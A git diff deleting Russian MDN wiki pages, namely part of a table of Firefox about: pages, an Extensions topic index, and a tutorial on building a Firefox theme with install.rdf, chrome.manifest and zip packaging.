- <td>Отчёт о производительности Firefox (если включена отправка Отчёта о работоспособности)</td>
- </tr>
- <tr>
- <td><a><code>about:home</code></a></td>
- <td>Начальная страница Firefox при открытии нового окна</td>
- </tr>
- <tr>
- <td><a><code>about:license</code></a></td>
- <td>Информация о лицензировании</td>
- </tr>
- <tr>
- <td><a><code>about:logo</code></a></td>
- <td>Логотип Firefox</td>
- </tr>
- <tr>
- <td><a><code>about:memory</code></a></td>
- <td>Способ вывода информации об использовании памяти, сохранения её в виде отчёта, и запуска GC и CC</td>
- </tr>
- <tr>
- <td><a><code>about:mozilla</code></a></td>
- <td>Особая страница с сообщением из «Книги Mozilla»</td>
- </tr>
- <tr>
- <td><a><code>about:networking</code></a></td>
- <td>Информация о сети</td>
- </tr>
- <tr>
- <td><a><code>about:newtab</code></a></td>
- <td>Начальная страница, используемая при открытии новой вкладки</td>
- </tr>
- <tr>
- <td><a><code>about:permissions</code></a></td>
- <td>Способ просмотра и управления разрешениями для сайтов</td>
- </tr>
- <tr>
- <td><a><code>about:plugins</code></a></td>
- <td>Информация об установленных плагинах</td>
- </tr>
- <tr>
- <td><a><code>about:preferences</code></a></td>
- <td>Настройки Firefox (доступны также через меню Firefox &gt; Настройки)</td>
- </tr>
- <tr>
- <td><a><code>about:privatebrowsing</code></a></td>
- <td>Начальная страница при открытии приватного окна</td>
- </tr>
- <tr>
- <td><a><code>about:rights</code></a></td>
- <td>Информация о ваших правах</td>
- </tr>
- <tr>
- <td><a><code>about:robots</code></a></td>
- <td>Особая страница с заметками о роботах</td>
- </tr>
- <tr>
- <td><a><code>about:sessionrestore</code></a></td>
- <td>Восстановление сессии (открывается после падения Firefox)</td>
- </tr>
- <tr>
- <td><a><code>about:support</code></a></td>
- <td>Информация для решения проблем (доступна также из меню <em>Справка</em> или меню Firefox &gt; <em>? (вопросительный знак)</em> &gt; Информация для решения проблем)</td>
- </tr>
- <tr>
- <td><a><code>about:sync-log</code></a></td>
- <td>Displays a synchronization protocol related to the <a href="https://www.mozilla.org/ru/firefox/sync/">Sync</a> feature</td>
- </tr>
- <tr>
- <td><a><code>about:sync-progress</code></a></td>
- <td>Показывается по завершении настройки функции <a href="https://www.mozilla.org/ru/firefox/sync/">Sync</a></td>
- </tr>
- <tr>
- <td><a><code>about:sync-tabs</code></a></td>
- <td>Lists tabs available for synchronization related to the <a href="https://www.mozilla.org/ru/firefox/sync/">Sync</a> feature</td>
- </tr>
- <tr>
- <td><a><code>about:telemetry</code></a></td>
- <td>Данные телеметрии, собираемые и отправляемые к Mozilla при работе Firefox'а (если телеметрия включена)</td>
- </tr>
- <tr>
- <td><a><code>about:webrtc</code></a></td>
- <td>Информация об использовании WebRTC</td>
- </tr>
- <tr>
- <td><a><code>about:welcomeback</code></a></td>
- <td>Информационная страница, открываемая после очистки Firefox</td>
- </tr>
- </tbody>
-</table>
-
-<p>Эти URL'ы определены в <a href="https://dxr.mozilla.org/mozilla-central/source/docshell/base/nsAboutRedirector.cpp">/source/docshell/base/nsAboutRedirector.cpp</a> в массиве <code>kRedirMap</code>.  Массив отображает большую часть этих URL'ов, например config, на URL'ы с псевдо-протоколом <code>chrome:</code>, например "<a class="external" rel="freelink">chrome://global/content/config.xul</a>".  The about location information is duplicated in <a href="https://dxr.mozilla.org/mozilla-central/source/docshell/build/nsDocShellModule.cpp">source/docshell/build/nsDocShellModule.cpp</a>.</p>
diff --git a/files/ru/расширения/index.html b/files/ru/расширения/index.html
deleted file mode 100644
index ef06545e60..0000000000
--- a/files/ru/расширения/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Расширения
-slug: Расширения
-tags:
- - Расширения
-translation_of: Mozilla/Add-ons
----
-<div class="callout-box"><strong><a href="/ru/Создание_расширения" title="Создание расширения">Создание расширения</a></strong><br>
-Пошаговое руководство по созданию расширения для <span>Firefox</span>.</div>
-<p><strong>Расширения</strong> — это небольшие дополнения (<span>add-on</span>), добавляющие новые функциональные возможности приложениям <span>Mozilla</span>, таким как <span>Firefox</span> и <span>Thunderbird</span>. С их помощью в приложение можно добавить что угодно, от кнопки на панели инструментов до совершенно новой функции. Они позволяют настраивать приложения в соответствии с личными потребностями каждого пользователя, которому могут понадобиться дополнительные функциональные возможности, сохраняя при этом небольшой размер приложений для упрощения его загрузки.</p>
-<p>Расширения по своему назначению отличаются от <a href="/en/Plugins">плагинов</a>, которые позволяют браузеру отображать особые виды контента, например, проигрывать мультимедийные файлы. Также расширения отличаются и от <a href="/en/Creating_OpenSearch_plugins_for_Firefox">поисковых плагинов</a>, которые подключают дополнительные поисковые механизмы к панели поиска.</p>
-<table class="topicpage-table"> <tbody> <tr> <td> <h4 id=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F"><a href="/Special:Tags?tag=%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8F&amp;language=ru" title="Special:Tags?tag=Расширения&amp;language=ru">Документация</a></h4> <dl> <dt><a class="external" href="/ru/Создание_расширения" title="https://developer.mozilla.org/editor/fckeditor/core/editor/ru/Создание_расширения">Создание расширения</a></dt> <dd><small>Объясняется, как шаг за шагом создать расширение для Firefox.</small></dd> </dl> <dl> <dt><a href="/ru/FAQ_по_расширениям" title="ru/FAQ_по_расширениям">FAQ по расширениям</a></dt> <dd><small>Основные вопросы и ответы по разработке расширений.</small></dd> </dl> <dl> <dt><a href="/ru/Настройка_среды_разработки_расширений" title="ru/Настройка_среды_разработки_расширений">Настройка среды разработки расширений</a></dt> <dd><small>Несколько советов о том, как сделать разработку расширений проще.</small></dd> </dl> <dl> <dt><a href="/en/Extension_Packaging">en:Extension Packaging</a></dt> <dd><small>How to package your Firefox extension for downloading and installation.</small></dd> </dl> <dl> <dt><a href="/en/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">en:Creating Custom Firefox Extensions with the Mozilla Build System</a></dt> <dd><small>How to set up the build environment for an extension that makes use of binary components.</small></dd> </dl> <dl> <dt><a href="/en/Adapting_XUL_Applications_for_Firefox_1.5">en:Adapting XUL Applications for Firefox 1.5</a></dt> <dd><small>A list of changes in Firefox 1.5 that affect <a href="/ru/XUL" title="ru/XUL">XUL</a> developers.</small></dd> </dl> <dl> <dt><a href="/ru/XPCNativeWrapper" title="ru/XPCNativeWrapper">XPCNativeWrapper</a></dt> <dd><small>Обёртка (<span>wrapper</span>) над объектом, которая ограничивает доступ к его свойствам и методам, обеспечивая безопасную работу с методами объекта, описанными на языке IDL.</small></dd> </dl> <dl> <dt><a href="/en/Code_snippets">en:Code snippets</a></dt> <dd><small>Code commonly used by many extensions. See also articles in <a href="/Special:Tags?tag=%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8F&amp;language=ru" title="Special:Tags?tag=Расширения&amp;language=ru">Категория:Расширения</a> for more examples.</small></dd> </dl> <p><span class="alllinks"><a href="/Special:Tags?tag=Extensions&amp;language=ru" title="Special:Tags?tag=Extensions&amp;language=ru">View All...</a></span></p> </td> <td> <h4 id=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE">Сообщество</h4> <ul> <li>View Mozilla forums...</li> </ul> <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p> <ul> <li><a class="link-irc" href="irc://irc.mozilla.org/%23extdev">#extdev IRC channel</a></li> <li><a class="external" href="http://forums.mozillazine.org/?c=11">MozillaZine forum</a></li> <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners</a></li> <li><a href="/ru/Extensions/Community" title="ru/Extensions/Community">Other community links...</a></li> </ul> <h4 id=".D0.98.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D1.8B">Инструменты</h4> <ul> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a></li> <li><a href="/ru/Инспектор_DOM" title="ru/Инспектор_DOM">Инспектор DOM</a></li> <li><a href="/ru/Venkman" title="ru/Venkman">Venkman</a>, отладчик JavaScript</li> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a></li> <li><a class="external" href="http://www.spket.com/">Spket IDE</a>, IDE for Extension development</li> </ul> <p><span class="alllinks"><a href="/Special:Tags?tag=%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8F:%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B&amp;language=ru" title="Special:Tags?tag=Расширения:Инструменты&amp;language=ru">View All...</a></span></p> <h4 id=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5">См. также</h4> <dl> <dd><a href="/ru/XUL" title="ru/XUL">XUL</a>, <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, <a href="/ru/XPCOM" title="ru/XPCOM">XPCOM</a>, <a href="/ru/Themes" title="ru/Themes">Themes</a>, <a href="/ru/Developing_Mozilla" title="ru/Developing_Mozilla">Developing Mozilla</a></dd> </dl> </td> </tr> </tbody>
-</table>
-<p>{{ languages( { "de": "de/Erweiterungen", "en": "en/Extensions", "es": "es/Extensiones", "fr": "fr/Extensions", "it": "it/Estensioni", "ja": "ja/Extensions", "ko": "ko/Extensions", "pl": "pl/Rozszerzenia", "pt": "pt/Extens\u00f5es", "zh-cn": "cn/\u6269\u5c55" } ) }}</p>
diff --git a/files/ru/создание_темы/index.html b/files/ru/создание_темы/index.html
deleted file mode 100644
index 632cd73405..0000000000
--- a/files/ru/создание_темы/index.html
+++ /dev/null
@@ -1,271 +0,0 @@
----
-title: Создание темы
-slug: Создание_темы
-tags:
- - NeedsUpdate
- - Создание темы
-translation_of: Archive/Themes/Building_a_Theme
----
-<h4 class="editable" id="Введение"><span>Введение</span></h4>
-
-<p>Это руководство проведет вас через шаги, необходимые, чтобы создать очень простую <a class="internal" href="/Add-ons/Themes" title="en/Themes">тему</a> - ту, которая обновляет фоновый цвет панелей инструментов в Firefox.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> Это руководство о создании тем для Firefox 29 и более поздних версий. Другие руководства существуют для создания тем для более ранних версий Firefox. Для старшего руководства, смотрите <a class="internal" href="/docs/Creating_a_Skin_for_Firefox_Getting_Started" title="en/Creating a Skin for Firefox//Getting Started">Создание скина для Firefox</a>.</p>
-</div>
-
-<div class="warning">
-<p><strong>Примечание:</strong> В Firefox для Mac OS X изменились некоторые директории, так что руководство может быть устаревшим.</p>
-</div>
-
-<div id="section_2">
-<h4 class="editable" id="Настройка_среды_разработки">Настройка среды разработки</h4>
-
-<p>Темы и расширения упакованы и распределены в ZIP файлах или <a href="/docs/Bundles" rel="internal">Пакетах</a>, с расширением <code>XPI</code> (произносится как "zippy").</p>
-
-<p>Пример содержимого в типичном XPI файле для темы:</p>
-
-<pre class="eval">example.xpi:
- /<a href="/Add-ons/Install_Manifests" rel="internal">install.rdf</a>
- /<a href="/docs/Chrome_Registration" rel="internal">chrome.manifest</a>
- /preview.png
- /icon.png
- /chrome/
- browser/
- communicator/
- global/
- mozapps/
-
-</pre>
-
-<p>Мы хотим создать файловую структуру аналогичную описанные структуре выше, так что давайне начнем с создания папки для вышей темы где-нибудь на вашем жестком диске (например <code>C:\themes\my_theme\</code> или <code>~\themes\my_theme\). </code>Внутри вашей новой папки для темы, создайте два пустых текстовых файла, один из них назовите <code>chrome.manifest</code> , а другой <code>install.rdf</code>. Файл <code>preview.png</code> отображается, как превью темы в панели тем в окне дополнений. Файл <code>icon.png</code> используется как инока в той же панели. Оставим оба из них сейчас, если вы уже выбрали что-то, что хотели использовать бы.<code> </code></p>
-
-<p>Остальные директории будут извлечены из темы по умолчанию. Во-первых, вы захотите создать где-нибудь каталог. Скопируйте ваши установки <code>omni.ja </code>в этот каталог. Расположение будет отличаться для различных операционных систем:</p>
-
-<p><strong>Linux:</strong> <code>/usr/lib/MozillaFirefox/chrome/classic.ja</code> <em>or</em> <code>/usr/lib/firefox-*.*.*/omni.ja</code></p>
-
-<p><strong>Windows:</strong> <code>\Program Files\Mozilla Firefox\omni.ja</code></p>
-
-<p><strong>Mac OS X: </strong><code>/Applications/Firefox.app/Contents/MacOS/omni.ja</code></p>
-
-<p>Теперь откройте (или распакуйте) этот файл в директорию, которую вы создали. Он содержит несколько папок, модули, jssubloader и другие. Файлы мы будем вынуждены расположить в папке <code>chrome\toolkit\skin\classic</code>.</p>
-
-<p>Создайте папку с именем хром в папке вашей темы. Далее, содержимое следующих каталогов расположите в соответствующие папки.</p>
-
-<ol>
- <li><code>global</code> to <code>chrome/global</code></li>
- <li><code>mozapps</code> to <code>chrome/mozapps</code></li>
-</ol>
-
-<p>Теперь, когда вы скопировали папки <code>global</code> и <code>mozapps</code>, необходимы несколько других папок из <code>browser/omni.ja </code> archive. Они находится в папке браузера, в указанном выше месте. Файлы нам будут нужны чтобы browser/omni.ja archive расположить под <code>chrome/browser/skin/classic</code>.</p>
-
-<p>Скопируйте содержимое из следующих каталогов в соответствующие папки. Это даст нам базовый набор стилей для работы с.</p>
-
-<ol>
- <li><code>browser</code> to <code>chrome/browser/</code></li>
- <li><code>communicator</code> to <code>chrome/communicator/</code></li>
-</ol>
-
-<p>Вы должны закончить с такой структурой каталогов:</p>
-
-<pre>&lt;ext path&gt;/
- /install.rdf
- /chrome.manifest
- /chrome/
- browser/
- communicator/
- global/
- mozapps/
-</pre>
-
-<p>После этого, было бы замечательно прочитать статью <a href="/Add-ons/Setting_up_extension_development_environment" rel="internal">Setting up extension development environment</a> и следовать её инструкциям. Это особенно важно для установки <a class="internal" href="/en/DOM_Inspector" title="en/DOM Inspector">DOM Inspector</a>, который мы будем использовать в последующих стадиях.</p>
-</div>
-
-<div id="section_3">
-<h4 id="Создание_инсталяции">Создание инсталяции</h4>
-
-<p>Откройте файл с именем <code><a href="/Add-ons/Install_Manifests" rel="internal">install.rdf</a></code>, который вы создали в верхней части вашей иерархии папок расширений и поместите это внутри:</p>
-
-<pre class="eval">&lt;?xml version="1.0"?&gt;
-
-&lt;RDF xmlns="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>"
- xmlns:em="<a class="external" href="http://www.mozilla.org/2004/em-rdf#" rel="freelink">http://www.mozilla.org/2004/em-rdf#</a>"&gt;
-
- &lt;Description about="urn:mozilla:install-manifest"&gt;
- &lt;em:id&gt;<strong><a class="link-mailto" href="mailto:sample@example.net" rel="external nofollow" title="mailto:sample@example.net">sample@example.net</a></strong>&lt;/em:id&gt;
- &lt;em:version&gt;<strong>1.0</strong>&lt;/em:version&gt;
- &lt;em:type&gt;<strong>4</strong>&lt;/em:type&gt;
-
- &lt;!-- Target Application this theme can install into,
- with minimum and maximum supported versions. --&gt;
- &lt;em:targetApplication&gt;
- &lt;Description&gt;
- &lt;em:id&gt;<strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong>&lt;/em:id&gt;
- &lt;em:minVersion&gt;<strong>29.0</strong>&lt;/em:minVersion&gt;
- &lt;em:maxVersion&gt;39<strong>.*</strong>&lt;/em:maxVersion&gt;
- &lt;/Description&gt;
- &lt;/em:targetApplication&gt;
-
- &lt;!-- Front End MetaData --&gt;
- &lt;em:name&gt;<strong>My Theme</strong>&lt;/em:name&gt;
- &lt;em:internalName&gt;<strong>sample</strong>&lt;/em:internalName&gt;
- &lt;em:description&gt;<strong>A test extension</strong>&lt;/em:description&gt;
- &lt;em:creator&gt;<strong>Your Name Here</strong>&lt;/em:creator&gt;
- &lt;em:homepageURL&gt;<strong><a class="external" href="http://www.example.com/" rel="freelink">http://www.example.com/</a></strong>&lt;/em:homepageURL&gt;
- &lt;/Description&gt;
-&lt;/RDF&gt;
-</pre>
-
-<ul>
- <li><strong><a class="link-mailto" href="mailto:sample@example.net" rel="external nofollow" title="mailto:sample@example.net">sample@example.net</a></strong> - ID из разширения. Это значение, которое вы придумали, чтобы определить ваш добавочный номер в формате адреса электронной почты (обратите внимание, что это не должна быть ваша электронная почта). Сделайте его уникальным. Кроме того, можно использовать GUID. Примечание: Этот параметр должен быть в формате адреса электронной почты, хотя он и не должен быть действительным адресом электронной почты. (example.example.example)</li>
- <li><strong>4</strong> - тип дополнения. '4' заявляет, что она устанавливает тему. Если вы должны были установить расширение было бы 2 (смотрите <a href="/Add-ons/Install_Manifests#type" rel="internal">Install Manifests#type</a> для других типов кода).</li>
- <li><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong> - Firefox's заявление ID.</li>
- <li><strong>29.0</strong> - точный номер самой ранней версии Firefox, которую вы указываете, для работы расширения. Никогда не используйте * в minVersion, это почти наверняка не будет делать то, что вы ожидаете от него.</li>
- <li><strong>39.*</strong> - самая последняя версия Firefox, которую вы указываете, для работы расширения. Указанная версия должна быть не выше, чем новейшая версия доступная в настоящее время! В этом случае, "39.*" указывает на то, что расширение работает с Firefox 39 и любым последующим 39.x выпуском. Темы совместимы по умолчанию, если не установлен строгий режим совместимости для вашей темы.</li>
-</ul>
-
-<p>Если вы получаете сообщение о том, что install.rdf деформирован, полезно загрузить его в Firefox с помощью команды File-&gt;Open File и он сообщит вам XML ошибки.</p>
-
-<p>See <a href="/Add-ons/Install_Manifests" rel="internal">Install Manifests</a> for a complete listing of the required and optional properties.</p>
-
-<p>Сохраните файл.</p>
-</div>
-
-<div id="section_4">
-<h4 class="editable" id="Стилизация_браузеров_UI_с_CSS">Стилизация браузеров UI с CSS</h4>
-
-<p>Firefox's пользовательский интерфейс написан на XUL и JavaScript. <a href="/docs/Mozilla/Tech/XUL" rel="internal">XUL</a> является XML грамматика, которая обеспечивает виджеты пользовательского интерфейса, такие как кнопки, меню, панели инструментов, деревья и т.д. Действия пользователя связаны с функциональными возможностями, используя JavaScript. Эти XUL элементы оформлены с использованием <a class="internal" href="/en/CSS" title="en/CSS">CSS</a>. Если вы не знаете CSS, это будет шаг в сторону от обучения, используйте HTML-based обучающие программы, чтоб знать хотябы на уровне новичка .</p>
-
-<p>Браузер UI, сам по себе не имеет абсолютно никакого стиля - если вы пытаетесь начать с пустой темы, Firefox будет непригодным для использования, в качестве элементов, кнопок, будет отображен обычный текст. Именно поэтому мы скопировали стили по умолчанию на этапе установки.</p>
-
-<p>При написании темы, самый простой способ определить, какие CSS селекторы вам нужно написать, используйте DOM Inspector, который вы должны быть установлен, на этапе установки. Он используется, чтобы проверить любой элемент на веб-странице или XUL документе, что делает его бесценным для темы.</p>
-
-<h4 id="Обновление_Стилизация_панели_инструментов">Обновление Стилизация панели инструментов</h4>
-
-<div class="note">
-<p><strong>Примечание</strong>: В Firefox 4.0 и выше, основная способность DOM Inspector не работает. Чтобы обойти это, отключить аппаратное ускорение в Options Firefox '.</p>
-</div>
-
-<p>Откройте DOM Inspector ( он находится в меню "Сервис"), и перейдите в раздел "Файл-&gt; Проверить Chrome документ". вы попадете в меню, содержащее все документы XUL открытые в данный момент в Firefox.<br>
- Выберите первый документ с заголовком веб-страницы, как "Firefox Start Page" и выберите его.</p>
-
-<p>Для этого урока мы будем обновлять цвет фона панели инструментов. Выберите инструмент в узле обнаружения (стрелка плюс квадрат в верхнем левом углу DOM Inspector), и нажмите на любое неиспользуемое пространство на панели инструментов. Это должно выбрать узел типа "xul:toolbar" в DOM Inspector.</p>
-
-<p>Сдесь вы можете поиграть с различными стилистиками для панели инструментов и связанных с ними элементов. По умолчанию правая панель должна показать  DOM как узел, который имеет полезную информацию по созданию стиля как CSS класс и идентификатор узла. Элемент имеющий идентификатор <code>navigator-toolbox, </code>не имеет идеи. Для того, чтобы изменить стиль в вашей теме, вы должны написать правило выбора, чтобы выбрать этот класс.</p>
-
-<p>Откройте файл <code>chrome/browser/browser.css</code> в вашей теме. Найдите тот файл для селектора  <code>#navigator-toolbox</code>, и добавьте<code> background: orange; </code>правило к ней.</p>
-
-<p>Сохраните файл.</p>
-</div>
-
-<div id="section_6">
-<h4 class="editable" id="Chrome_URIs"><span>Chrome URIs</span></h4>
-
-<p>Далее, вы указываете Firefox, где найти файлы  для вашей темы. CSS, XUL, и другие файлы являются частью "<a href="/docs/Chrome_Registration" rel="internal">Chrome Packages</a>" - расслоения компонентов пользовательского интерфейса, которые загружаются с помощью <code><a class="external" rel="external nofollow" title="chrome://">chrome://</a></code> URIs. Вместо того, чтобы загрузить браузер с диска с помощью <code><a class="external" rel="external nofollow" title="file://">file://</a></code> URI (так как местоположение Firefox в системе может меняться от платформы к платформе и от системы к системе), разработчики Mozilla придумали решение для создания URI, с содержимым известным установленной надстройке.</p>
-
-<p>Окно браузера: <code><a class="external" rel="external nofollow" title="chrome://browser/content/browser.xul">chrome://browser/content/browser.xul</a></code>. Попробуйте ввести этот URL в адресной строке в Firefox!</p>
-
-<p>Chrome URIs состоят из нескольких компонентов:</p>
-
-<ul>
- <li>Во-первых, <strong>URI scheme</strong> (<code>chrome</code>), который говорит сетевым библиотекам Firefox's, что это Chrome URI, что указывает на то, что содержание URI должны быть обработанно как (<code>chrome</code>). Приравниваем (<code>chrome</code>) к (<code>http</code>), который указывает Firefox рассматривать URI, как веб-страницу.</li>
- <li>Во-вторых, имя пакета (в приведенном выше примере, <code><strong>browser</strong></code>) который идентифицирует пакет компонентов пользовательского интерфейса.</li>
- <li>В-третьих, тип запрашиваемых данных. Есть три типа: <code>content</code> (XUL, JavaScript, XBL bindings, etc. которые формируют структуру и поведение приложения UI), <code>locale</code> (DTD, .properties files etc, которые содержат строки для UI's <a href="/docs/Glossary/Localization" rel="internal">localization</a>), и <code>skin</code> (CSS и изображения, которые формируют <a href="/Add-ons/Themes" rel="internal">theme</a> из UI)</li>
- <li>И, наконец, путь к файлу для загрузки.</li>
-</ul>
-
-<p>Так, <code><a class="external" rel="external nofollow" title="chrome://foo/skin/bar.png">chrome://foo/skin/bar.png</a></code> загружает файл <code>bar.png </code>из тем <code>foo</code> раздела <code>skin</code>.</p>
-
-<p>При загрузке контента с помощью Chrome URI, Firefox использует Chrome реестр, чтобы перевести идентификаторы URI в исходные файлы на диск (или в пакет JAR).</p>
-</div>
-
-<div id="section_7">
-<h4 id="Создание_Chrome_Manifest">Создание Chrome Manifest</h4>
-
-<p>Chrome Manifest это файл, показывающий путь для URI Chrome к файлам вашей темы. Для получения дополнительной информации о Chrome Manifest и свойствах, которые они поддерживают, см <a href="/docs/Chrome_Registration" rel="internal">Chrome Manifest</a> справка.</p>
-
-<p>Откройте файл под названием <strong>chrome.manifest</strong> вами создан бок о бок <code>chrome</code> каталог в корне расширений источника папки иерархии</p>
-
-<p>Добавьте в этом коде:</p>
-
-<pre class="eval">skin browser sample chrome/browser/
-skin communicator sample chrome/communicator/
-skin global sample chrome/global/
-skin mozapps sample chrome/mozapps/
-</pre>
-
-<p><strong>Не забывайте слэш, "<code>/</code>"!</strong> Без него пакет не будет зарегистрирован. Третий столбец должен соответствовать значению <strong>internalName</strong> вашей темы от установки манифеста выше.</p>
-
-<p>Это карта каталога мест внутри вашей темы. Например, линия <code>skin browser sample skin/browser/</code> означает "когда пользователь выбирая тему, использует каталог <code>browser/</code> чтобы посмотреть скины пакета <code>browser</code>." Более сжато, это означает, что URL <a class="external" title="chrome://browser/skin/some/path/file.css">chrome://browser/skin/some/path/file.css</a> будет искать файл <code>browser/some/path/file.css</code> в корневом каталоге вашей темы,.</p>
-
-<p>Сохраните файл.</p>
-</div>
-
-<div id="section_9">
-<h4 class="editable" id="Тест"><span>Тест</span></h4>
-
-<p>Во-первых, вы должны сообщить Firefox о вашей теме. На стадии разработки для Firefox версии 2.0 и выше, вы можете указать Firefox на папку в которой вы разрабатываете тему, и она будет загружать её каждый раз при перезагрузке Firefox.</p>
-
-<ol>
- <li>Разместить свою <a class="external" href="http://kb.mozillazine.org/Profile_folder" rel="external nofollow" title="http://kb.mozillazine.org/Profile_folder">profile folder</a> и под ней профиль, с которым вы хотите работать (e.g. <code>Firefox/Profiles/&lt;profile_id&gt;.default/</code>).</li>
- <li>Откройте папку <code>extensions/</code> , создайте при необходимости.</li>
- <li>Создайте новый текстовый файл и укажите полный путь к папке развития внутри (e.g. <code>C:\themes\my_theme\</code> or <code>~/themes/my_theme/)</code>. Пользователям Windows, следует сохранить направление слэш OS' ,  <em>все</em> должны помнить <strong>включать</strong> закрывающий слэш и <strong>удалить</strong> любые пробелы в конце строки.</li>
- <li>Сохраните файл с идентификатором вашей темы, как его имя (e.g. <code><a class="link-mailto" href="mailto:sample@example.net" rel="external nofollow" title="mailto:sample@example.net">sample@example.net</a></code>). Нет Расширение файла.</li>
-</ol>
-
-<p>Теперь вы готовы проверить вашу тему!</p>
-
-<p>Запустите Firefox. Firefox обнаружит текстовую ссылку на директорию темы и установит тему. Ваша тема не будет активена в первый раз после установки, и вам нужно будет нажать кнопку "Включить" и перезапустить, прежде чем вы увидите изменения. После перезапуска, это во второй раз, вы должны увидеть цвет фона панелей инструментов, который  отображается оранжевым цветом.</p>
-
-<p>Теперь вы можете вернуться назад и внести дополнительные изменения в ваши CSS файлы, закройте и перезапустите Firefox, и увидите обновления.</p>
-</div>
-
-<div id="section_10">
-<h4 id="Пакет">Пакет</h4>
-
-<p>Теперь, когда ваша тема работает, вы можете <a href="/Add-ons/Extension_Packaging" rel="internal">package</a> это для развертывания и установки.</p>
-
-<p>Zip вверх по <strong>содержанию</strong> папки вашей темы (не тема сама папка), и переименовать zip файл, чтобы иметь .xpi расширение.В операционной системе Windows, вы можете сделать это легко, выбрав все файлы и вложенные папки в папке расширения, щелкните правой кнопкой мыши и выберите "Send To -&gt; Compressed (Zipped) Folder".  .Zip файл будет создан для вас. Просто переименуйте его, и вы это сделали!</p>
-
-<p>В Mac OS или Linux, вы можете использовать командную строку zip tool:</p>
-
-<pre class="eval">zip -r my_theme.xpi install.rdf chrome.manifest browser communicator global mozapps
-</pre>
-
-<p>Или, если у вас установлен 7-Zip, вы можете использовать его для архивирования:</p>
-
-<pre class="eval">7z a -tzip my_theme.xpi chrome chrome.manifest
-</pre>
-
-<p><strong>Заметка: </strong>инструмент командной строки будет <strong>обновлять</strong> существующий архив, не заменив его - так что если вы имеете файлы, которые вы удалили из вашей темы, обязательно удалите <code>.xpi </code>файл перед повторным запуском команды архиватора.</p>
-
-<p>Теперь загружаем .xpi файл на сервер, убедившись, что он служит как <code>application/x-xpinstall</code>. Вы можете связаться с ним и дать людям возможность скачать и установить его. Для целей тестирования только своего .xpi, файл можно просто перетащить в менеджер дополнений через "Tools -&gt; Add-ons Manager", либо открыть и использовать "File -&gt; Open File...".</p>
-
-<div id="section_11">
-<h5 class="editable" id="Установка_с_веб-страницы">Установка с веб-страницы</h5>
-
-<p>Есть множество способов, которыми можно установить расширения с веб-страниц, в том числе по прямой связи с файлами XPI и использование объекта InstallTrigger. Создателям расширений и веб-авторам рекомендуется использовать <a href="/docs/Installing_Extensions_and_Themes_From_Web_Pages" rel="internal"> InstallTrigger method</a> чтобы установить XPIS, поскольку он обеспечивает лучший опыт для пользователей.</p>
-</div>
-
-<div id="section_12">
-<h5 class="editable" id="С_помощью_addons.mozilla.org">С помощью <span>addons.mozilla.org</span></h5>
-
-<p>Дополнения Mozilla распределит на сайты, где вы можете разместить свою тему бесплатно. Ваша тема будет размещен на зеркале сети Mozilla, чтобы гарантировать загрузку, даже если это может быть очень популярным. сайт Mozilla также предоставляет пользователям более легкую установку, и автоматически сделает ваши новые версии доступными пользователям существующих версий при их загрузке. Кроме того, Дополнения Mozilla позволяет пользователям комментировать и обеспечить обратную связь по вашей теме. Настоятельно рекомендуется использовать Дополнения Mozilla, чтобы распространять свои темы!</p>
-
-<p>Посетите <a class="external" href="https://addons.mozilla.org/developers/" rel="external nofollow" title="http://addons.mozilla.org/developers/">https://addons.mozilla.org/developers/</a> чтобы создать учетную запись и начать распространять свои темы!</p>
-
-<p><em>Заметка:</em> Ваша тема будет передаваться быстрее и будет больше загруженна, если у вас есть хорошее описание и несколько скриншотов темы в действии.</p>
-</div>
-</div>
-
-<div id="section_21">
-<div id="section_23">
-<ul>
- <li><a class="internal" href="/Add-ons/Themes" title="en/Themes">Themes</a></li>
-</ul>
-
-<p>______________________________</p>
-</div>
-</div>
-
-<p> </p>